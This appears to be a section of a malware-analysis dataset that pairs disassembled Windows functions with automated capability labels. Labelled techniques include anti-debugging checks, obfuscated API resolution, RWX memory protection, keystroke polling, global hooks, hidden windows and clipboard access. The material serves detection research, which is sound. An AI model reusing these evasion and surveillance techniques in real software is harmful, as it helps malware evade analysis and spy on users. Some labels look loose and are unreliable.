joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4460b5
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x4460dd
call fcn.00448b19
and dword [eax], 0
call fcn.00448b06
mov dword [eax], 0x16
call fcn.0044d772
or eax, 0xffffffff
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4460fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00448b2c
pop ecx
jmp 0x4460d8
test byte [ebp + 0xc], 0x80
je 0x446105
and eax, 0xfffffffe
jmp 0x446108
or eax, 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
test eax, eax
je 0x4460eb
xor eax, eax
pop ebp
ret

Function at 0x4590cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4786a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0044ce54
and dword [ebp - 0x14], 0
cmp dword [0x47b540], 0
mov dword [ebp - 0x18], eax
jne 0x45917e
push 0x4670a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x459226
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x467098
push ebx
call edi
test eax, eax
je 0x459226
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x467088
push ebx
mov dword [0x47b540], eax
call edi
push eax
call esi
push 0x467074
push ebx
mov dword [0x47b544], eax
call edi
push eax
call esi
push 0x467058
push ebx
mov dword [0x47b548], eax
call edi
push eax
call esi
mov dword [0x47b550], eax
test eax, eax
je 0x45917e
push 0x467040
push ebx
call edi
push eax
call esi
mov dword [0x47b54c], eax
mov eax, dword [0x47b54c]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4591d7
cmp dword [0x47b550], ecx
je 0x4591d7
push eax
call esi
push dword [0x47b550]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4591d7
test ebx, ebx
je 0x4591d7
call edi
test eax, eax
je 0x4591ce
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4591ce
test byte [ebp - 8], 1
jne 0x4591d7
or dword [ebp + 0x10], 0x200000
jmp 0x45920a
mov eax, dword [0x47b544]
cmp eax, dword [ebp - 0x18]
je 0x45920a
push eax
call esi
test eax, eax
je 0x45920a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x45920a
mov eax, dword [0x47b548]
cmp eax, dword [ebp - 0x18]
je 0x45920a
push eax
call esi
test eax, eax
je 0x45920a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47b540]
call esi
test eax, eax
je 0x459226
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x459228
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00445447
leave
ret
Function at 0x408060
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edx, 0x7ffe0018
mov esi, 0x7ffe0014
mov edi, 0x7ffe001c
mov eax, dword [edx]
mov ecx, dword [esi]
cmp eax, dword [edi]
jne 0x408082
xor edi, edi
cdq
add edi, ecx
mov ecx, dword fs:[0x30]
mov dword [ebp - 0xc], edi
adc eax, 0
mov dword [ebp - 0x10], eax
cmp byte [ecx + 2], 0
jne 0x408240
mov ecx, dword [0x40d504]
add ecx, 0xffffffe7
xor ecx, 0x44c12fc5
call ecx
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push eax
mov eax, dword [0x40d508]
add eax, 0xffffffe6
xor eax, 0x44c12fc6
call eax
cmp dword [ebp - 8], 0
jne 0x408240
mov eax, dword [0x40d50c]
add eax, 0xffffffe5
xor eax, 0x44c12fc7
call eax
test eax, eax
jne 0x408240
mov eax, dword [0x40d504]
add eax, 0xffffffe7
xor eax, 0x44c12fc5
call eax
mov ecx, dword [0x40d510]
lea edx, [ebp - 8]
push 0
push 4
push edx
add ecx, 0xffffffe4
mov dword [ebp - 8], 0
push 0x1f
xor ecx, 0x44c12fc8
push eax
call ecx
test eax, eax
jne 0x408135
cmp dword [ebp - 8], eax
je 0x408240
mov eax, dword [0x40d504]
add eax, 0xffffffe7
xor eax, 0x44c12fc5
call eax
mov ecx, dword [0x40d510]
lea edx, [ebp - 8]
push 0
push 4
push edx
add ecx, 0xffffffe4
mov dword [ebp - 8], 0
push 0x1e
xor ecx, 0x44c12fc8
push eax
call ecx
test eax, eax
jne 0x408174
cmp dword [ebp - 8], eax
jne 0x408240
mov eax, dword [0x40d504]
add eax, 0xffffffe7
xor eax, 0x44c12fc5
call eax
mov ecx, dword [0x40d510]
lea edx, [ebp - 8]
push 0
push 4
push edx
add ecx, 0xffffffe4
mov dword [ebp - 8], 0
push 7
xor ecx, 0x44c12fc8
push eax
call ecx
test eax, eax
jne 0x4081b3
cmp dword [ebp - 8], eax
jne 0x408240
mov eax, dword [0x40d514]
push 4
push 0x1000
add eax, 0xffffffe3
push 0x2cc
xor eax, 0x44c12fc9
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x40826d
xor al, al
mov edi, ebx
mov ecx, 0x2cc
rep stosb byte es:[edi], al
mov dword [ebx], 0x10010
mov eax, dword [0x40d520]
mov esi, dword [0x40d51c]
add eax, 0xffffffe0
add esi, 0xffffffe1
xor eax, 0x44c12fcc
xor esi, 0x44c12fcb
call eax
push ebx
push eax
call esi
test eax, eax
je 0x408253
cmp dword [ebx + 4], 0
jne 0x408229
cmp dword [ebx + 8], 0
jne 0x408229
cmp dword [ebx + 0xc], 0
jne 0x408229
cmp dword [ebx + 0x10], 0
je 0x408253
mov eax, dword [0x40d518]
push 0x8000
push 0
add eax, 0xffffffe2
push ebx
xor eax, 0x44c12fca
call eax
mov al, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409527
mov esp, ebp
pop ebp
ret
mov eax, dword [0x40d518]
push 0x8000
push 0
add eax, 0xffffffe2
push ebx
xor eax, 0x44c12fca
call eax
mov edi, dword [ebp - 0xc]
mov ecx, 0x7ffe0018
mov edx, 0x7ffe0014
mov ebx, 0x7ffe001c
nop dword [eax]
mov eax, dword [ecx]
mov esi, dword [edx]
cmp eax, dword [ebx]
jne 0x408280
xor ecx, ecx
cdq
add ecx, esi
adc eax, 0
sub ecx, edi
sbb eax, dword [ebp - 0x10]
test eax, eax
jg 0x408240
jl 0x4082a3
cmp ecx, 0xf4240
ja 0x408240
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409527
mov esp, ebp
pop ebp
ret
Function at 0x409df3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x409e32
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x409e32
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x409e32
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x409e32
cmp dword [ecx + 0x74], 0xe
jbe 0x409e32
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x408ef0
Capabilities:
Enumerate gui resources

Disassembly:
sub esp, 0x828
cmp dword [0x45f904], 0x13f7
mov eax, dword [esp + 0x82c]
push ebx
mov ebx, dword [esp + 0x834]
push ebp
push esi
mov esi, dword [eax + 4]
push edi
mov edi, dword [eax]
mov eax, dword [ebx]
mov ebp, 0xc6ef3720
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x24], eax
jne 0x408f42
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
cmp dword [0x45f904], 0x60b
mov ecx, dword [ebx + 4]
mov edx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
mov dword [esp + 0x28], ecx
mov dword [esp + 0x2c], edx
mov dword [esp + 0x20], eax
jne 0x408f90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
push 0
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov dword [esp + 0x18], 0x20
jmp 0x408fa4
mov ebp, dword [esp + 0x1c]
mov ecx, dword [esp + 0x2c]
mov eax, edi
push ecx
shl eax, 4
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], eax
call fcn.00408ea0
mov eax, edi
shr eax, 5
add eax, dword [esp + 0x20]
cmp dword [0x45f904], 0x1b
lea ebx, [edi + ebp]
mov dword [esp + 0x10], eax
mov dword [0x442d64], 0xffcf03fc
jne 0x40900d
push 0
push 0
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0x401330
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov eax, dword [esp + 0x10]
xor eax, ebx
xor eax, dword [esp + 0x14]
mov dword [0x442d64], 0
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
add dword [0x442d64], eax
sub esi, dword [esp + 0x10]
mov dword [0x442d68], 0xc5e121b4
mov ecx, esi
shr ecx, 5
mov dword [0x442d6c], 0xffffffff
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
mov eax, esi
shl eax, 4
add eax, dword [esp + 0x24]
add ebp, esi
xor eax, ebp
xor eax, dword [esp + 0x10]
push 0x9e3779b9
lea edx, [esp + 0x20]
push edx
sub edi, eax
call fcn.00408060
sub dword [esp + 0x18], 1
jne 0x408fa0
mov eax, dword [esp + 0x83c]
mov dword [eax], edi
pop edi
mov dword [eax + 4], esi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret 8
Function at 0x4090a0
Capabilities:
Copy file
Manipulate console buffer
Terminate process

Disassembly:
sub esp, 0xd64
cmp dword [0x45f904], 0x516
jne 0x4090f8
push 0
lea eax, [esp + 0x568]
push eax
push 0
call sub.KERNEL32.dll_VerLanguageNameW
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
xor edx, edx
xor ecx, ecx
mov word [esp + 2], dx
lea eax, [esp + 0xc]
push eax
mov word [esp + 4], cx
mov ecx, dword [esp + 4]
push ecx
push edx
lea edx, [esp + 0x170]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov eax, dword [esp + 0xd6c]
shr eax, 3
test eax, eax
jbe 0x409232
mov ecx, dword [esp + 0xd68]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x18], eax
cmp dword [0x45f904], 0x29
jne 0x40916a
lea edx, [esp + 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
lea eax, [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
cmp dword [0x45f904], 0xe1b
jne 0x40918e
lea ecx, [esp + 0x174]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp dword [0x45f904], 0x1c
jne 0x4091df
push 0
call esi
push 0
push 0
push 0
lea edx, [esp + 0xe4]
push edx
call edi
lea eax, [esp + 0x44]
push eax
call ebx
push 0
call ebp
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x34]
push ecx
mov dword [esp + 0x38], 0
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
mov edx, dword [esp + 0xd80]
mov eax, dword [esp + 0x10]
push edx
push eax
call fcn.00408ef0
cmp dword [0x45f904], 0x4fa
jne 0x40921e
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x18], cx
mov word [esp + 0x1a], dx
mov ecx, dword [esp + 0x18]
push ecx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterA]
add dword [esp + 0x10], 8
sub dword [esp + 0x18], 1
jne 0x409135
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd64
ret 0xc
Function at 0x409240
Capabilities:
Connect pipe
Extract resource via kernel32 functions
Get disk information
Manipulate console buffer
Read pipe
Write pipe

Disassembly:
sub esp, 0x438
cmp dword [0x45f904], 0x37
jne 0x409314
xor eax, eax
mov dword [esp + 8], eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x20]
push ecx
push 0x401364
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_InitAtomTable]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
lea edx, [esp + 0x18]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
lea eax, [esp + 0x3c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
mov dword [esp], 0
mov eax, dword [0x45f908]
add dword [esp], eax
mov eax, 0x38d6
add dword [esp], eax
mov ecx, dword [esp]
mov eax, dword [esp + 0x43c]
mov dl, byte [ecx + eax]
mov ecx, dword [0x442d60]
mov byte [ecx + eax], dl
add esp, 0x438
ret 4

Function at 0x409380
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov al, 0x65
mov cl, 0x6c
push 0x4386a8
mov byte [0x4386a9], al
mov byte [0x4386aa], 0x72
mov byte [0x4386b0], 0x2e
mov byte [0x4386b1], 0x64
mov byte [0x4386b2], cl
mov byte [0x4386b4], 0
mov byte [0x4386ac], al
mov byte [0x4386ad], cl
mov byte [0x4386ae], 0x33
mov byte [0x4386af], 0x32
mov byte [0x4386b3], al
mov byte [0x4386ab], 0x6e
mov byte [0x4386a8], 0x6b
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [0x45f904]
mov edx, dword [0x442d60]
mov dword [0x45ef9c], eax
lea eax, [esp]
push eax
push 0x40
push ecx
push edx
mov byte [0x4386b6], 0
mov byte [0x4386af], 0x50
mov byte [0x4386ad], 0x61
mov byte [0x4386a8], 0x60
mov byte [0x4386b0], 0x7c
mov byte [0x4386b1], 0x6f
mov byte [0x4386b5], 0x74
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret
Function at 0x40a5b0
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x40a5d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a5da
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a5f1
mov edx, dword [ebp - 4]
push edx
call fcn.00410660
add esp, 4
or eax, 0xffffffff
jmp 0x40a5f3
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x40a850
Capabilities:
Delete file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40a86f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
jmp 0x40a876
mov dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x40a88d
mov ecx, dword [ebp - 4]
push ecx
call fcn.00410660
add esp, 4
or eax, 0xffffffff
jmp 0x40a88f
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x414dc0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x437864]
jne 0x414dca
repz ret
jmp fcn.0041aea0
Function at 0x427574
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
mov eax, 0x68625c
call fcn.006658cc
lea edx, [ebp - 0x238]
push edx
push 0
push 0
push 0x1a
push 0
call sub.SHFOLDER.DLL_SHGetFolderPathW
test eax, eax
jl 0x42761a
mov word [ebp - 0x20], 0xc
lea eax, [ebp - 8]
call fcn.00404fd8
push eax
inc dword [ebp - 0x14]
mov edx, 0x684686
lea eax, [ebp - 4]
call fcn.00673474
mov edx, eax
inc dword [ebp - 0x14]
lea eax, [ebp - 0x238]
pop ecx
call fcn.00673b60
lea edx, [ebp - 8]
mov eax, dword [ebp + 8]
call fcn.0067362c
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebp - 0x20], 0x18
push eax
lea eax, [ebp - 8]
dec dword [ebp - 0x14]
call fcn.00673604
dec dword [ebp - 0x14]
lea eax, [ebp - 4]
mov edx, 2
call fcn.00673604
pop eax
mov word [ebp - 0x20], 0xc
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
jmp 0x427666
mov word [ebp - 0x20], 0x24
lea eax, [ebp - 0xc]
xor edx, edx
call fcn.0040509c
inc dword [ebp - 0x14]
lea edx, [ebp - 0xc]
mov eax, dword [ebp + 8]
call fcn.0067362c
mov eax, dword [ebp + 8]
mov edx, 2
mov word [ebp - 0x20], 0x30
push eax
lea eax, [ebp - 0xc]
dec dword [ebp - 0x14]
call fcn.00673604
pop eax
mov word [ebp - 0x20], 0x24
inc dword [ebp - 0x14]
mov edx, dword [ebp - 0x30]
mov dword fs:[0], edx
mov esp, ebp
pop ebp
ret
Function at 0x43ab28
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x43ab7a
test eax, edx
je 0x43ab7d
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x43ab3d
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x43ab63
add ecx, 4
js 0x43ab53
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x43ab60
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x43ab89
test edx, edx
jne 0x43ab30
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret
Function at 0x5be8a0
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
cmp dword [ebx + 0x8c], 0
jne 0x5be91a
mov eax, dword [ebx + 8]
call fcn.005f40c4
mov ecx, eax
mov dl, 1
mov eax, dword [0x55baa0]
call fcn.005ee54c
mov esi, eax
mov dword [ebx + 0x8c], esi
xor edx, edx
mov eax, esi
call fcn.00568d38
mov dword [esi + 0x2a4], ebx
mov dword [esi + 0x2a0], 0x5be198
push 8
push 3
call sub.USER32.DLL_GetSystemMetrics
push eax
push 0
push 0
push 0
push 0
mov eax, dword [ebx + 0x8c]
call fcn.005f40c4
push eax
call sub.USER32.DLL_SetWindowPos
push 0
mov eax, dword [ebx + 0x8c]
call fcn.005f40c4
push eax
call sub.USER32.DLL_ShowWindow
cmp dword [ebx + 0x9c], 0
jne 0x5be990
mov eax, dword [ebx + 8]
call fcn.005f40c4
mov ecx, eax
mov dl, 1
mov eax, dword [0x55baa0]
call fcn.005ee54c
mov esi, eax
mov dword [ebx + 0x9c], esi
mov dl, 1
mov eax, esi
call fcn.00568d38
mov dword [esi + 0x2a4], ebx
mov dword [esi + 0x2a0], 0x5be1e4
push 8
push 0
push 2
call sub.USER32.DLL_GetSystemMetrics
push eax
push 0
push 0
push 0
mov eax, dword [ebx + 0x9c]
call fcn.005f40c4
push eax
call sub.USER32.DLL_SetWindowPos
push 0
mov eax, dword [ebx + 0x9c]
call fcn.005f40c4
push eax
call sub.USER32.DLL_ShowWindow
cmp dword [ebx + 0x94], 0
jne 0x5be9fc
mov eax, dword [ebx + 8]
call fcn.005f40c4
mov ecx, eax
mov dl, 1
mov eax, dword [0x55d19c]
call fcn.005ee54c
mov esi, eax
mov dword [ebx + 0x94], esi
mov eax, esi
mov byte [eax + 0x278], 1
push 8
push 3
call sub.USER32.DLL_GetSystemMetrics
push eax
push 2
call sub.USER32.DLL_GetSystemMetrics
push eax
push 0
push 0
push 0
mov eax, dword [ebx + 0x94]
call fcn.005f40c4
push eax
call sub.USER32.DLL_SetWindowPos
push 0
mov eax, dword [ebx + 0x94]
call fcn.005f40c4
push eax
call sub.USER32.DLL_ShowWindow
pop esi
pop ebx
ret
Function at 0x5ca71c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
movzx ebx, word [0x5ca758]
push 0x10
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x5ca734
or bx, 1
push 0x11
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x5ca744
or bx, 4
push 0x12
call sub.USER32.DLL_GetKeyState
test ax, ax
jge 0x5ca754
or bx, 2
mov eax, ebx
pop ebx
ret

Function at 0x5cb150
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x299], 0
jne 0x5cb220
mov eax, dword [ebp - 4]
mov byte [eax + 0x298], 1
xor eax, eax
push ebp
push 0x5cb1fa
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
call fcn.005f40c4
push eax
call sub.USER32.DLL_ShowWindow
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
xor edx, edx
call fcn.005ea2c4
mov eax, dword [ebp - 4]
mov byte [eax + 0x299], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x54]
mov edx, dword [ebp - 4]
mov dword [edx + 0x2a8], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x11c]
mov edx, eax
mov eax, dword [ebp - 4]
call fcn.005ea690
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2cc]
call fcn.005ef628
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5cb201
mov eax, dword [ebp - 4]
mov byte [eax + 0x298], 0
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x5cbbec
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 0x299], 0
je 0x5cbcd2
mov eax, dword [ebp - 4]
mov byte [eax + 0x298], 1
xor eax, eax
push ebp
push 0x5cbcac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov dl, 5
call fcn.005ea2c4
push 5
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
call fcn.005f40c4
push eax
call sub.USER32.DLL_ShowWindow
mov eax, dword [ebp - 4]
mov byte [eax + 0x299], 0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2a8]
mov eax, dword [ebp - 4]
call fcn.005ea690
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2cc]
mov eax, dword [eax + 0x290]
call fcn.005ab014
test al, al
je 0x5cbc94
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2cc]
mov edx, dword [ebp - 4]
call fcn.005abe80
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2cc]
call fcn.005ef628
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x5cbcb3
mov eax, dword [ebp - 4]
mov byte [eax + 0x298], 0
ret
pop ebx
pop ecx
pop ebp
ret
Function at 0x63b9c8
Capabilities:
Set global application hook

Disassembly:
cmp dword [0x6b41f4], 0
jne 0x63b9eb
call sub.KERNEL32.DLL_GetCurrentThreadId
push eax
push 0
mov eax, 0x63b93c
push eax
push 3
call sub.USER32.DLL_SetWindowsHookExW
mov dword [0x6b41f4], eax
ret

Function at 0x64ac80
Capabilities:
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
xor edx, edx
push ebp
push 0x64ad6d
push dword fs:[edx]
mov dword fs:[edx], esp
push ebx
push 0x2002
call sub.KERNEL32.DLL_GlobalAlloc
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x64ad3f
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalLock
xor edx, edx
push ebp
push 0x64ad2e
push dword fs:[edx]
mov dword fs:[edx], esp
mov edx, eax
mov eax, edi
mov ecx, ebx
call fcn.004b8bf0
mov eax, dword [ebp - 4]
call fcn.0064a9c0
mov eax, dword [ebp - 8]
push eax
movzx eax, si
push eax
call sub.USER32.DLL_SetClipboardData
test eax, eax
jne 0x64ad17
mov ecx, dword [0x69adbc]
mov dl, 1
mov eax, dword [0x4521e0]
call fcn.0049f710
call fcn.004ba8fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x64ad35
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
ret

Function at 0x64ae98
Capabilities:
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x18]
push 0xd
call sub.USER32.DLL_GetClipboardData
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x64af0a
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x64aede
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
mov eax, ebx
call fcn.004bbe88
jmp 0x64aee5
mov eax, ebx
call fcn.004bb0f4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x64af11
cmp dword [ebp - 8], 0
je 0x64af01
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x14]
ret